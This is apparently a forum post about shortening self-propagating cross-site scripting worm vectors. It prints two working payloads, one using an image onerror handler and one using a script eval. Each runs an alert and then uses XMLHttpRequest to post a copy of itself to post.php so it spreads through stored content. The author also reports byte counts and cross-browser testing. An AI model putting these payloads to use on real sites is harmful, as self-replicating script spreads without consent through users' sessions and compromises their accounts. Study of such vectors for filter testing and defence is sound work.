Damn I'm blind, when optimizing the long form (image & XMLHttpRequest) with with() I saw I was using "new XMLHttpRequest" without (), and it had worked all along, but I hadn't used it on the other versions ...
Anyway, the shorter XMLHttpRequest vectors:
<img src=. alt="alert('XSS');with(new XMLHttpRequest){open('post','post.php');setRequestHeader('Content-Type','application/x-www-form-urlencoded');send('content='+encodeURIComponent('<img src=. alt=\x22'+alt+'\x22 onerror=eval(alt)>'))}" onerror=eval(alt)>256 bytes - XMLHttpRequest, image
<script>eval(y="alert('XSS');q=unescape('%22');with(new XMLHttpRequest){open('POST','post.php');setRequestHeader('content-Type','application/x-www-form-urlencoded');send('content='+encodeURIComponent('<script>eval(y='+q+y+q+')</sc'+'ript>'))}")</script>253 bytes - XMLHttpRequest, script
Another crazy note: after for the first time testing on
Opera 9.5 beta (actually my 'main' browser for the moment), I noticed that the image code didn't worked (Opera actually needs some source to fire the onerror) I added a dot and saw that the quotes could be removed (still an innerHTML leftover), saving another 4 bytes! (from 260 to 256 bytes, coming close to the script code :-)
So after Opera testing I fired up
Safari (
3.0.4 beta for Windows), guess what, even that one passed both vectors like a charm, making it pass on all latest versions of the
A-Grade browsers! :-D (BTW I guess FF1.5 and IE6 will work too)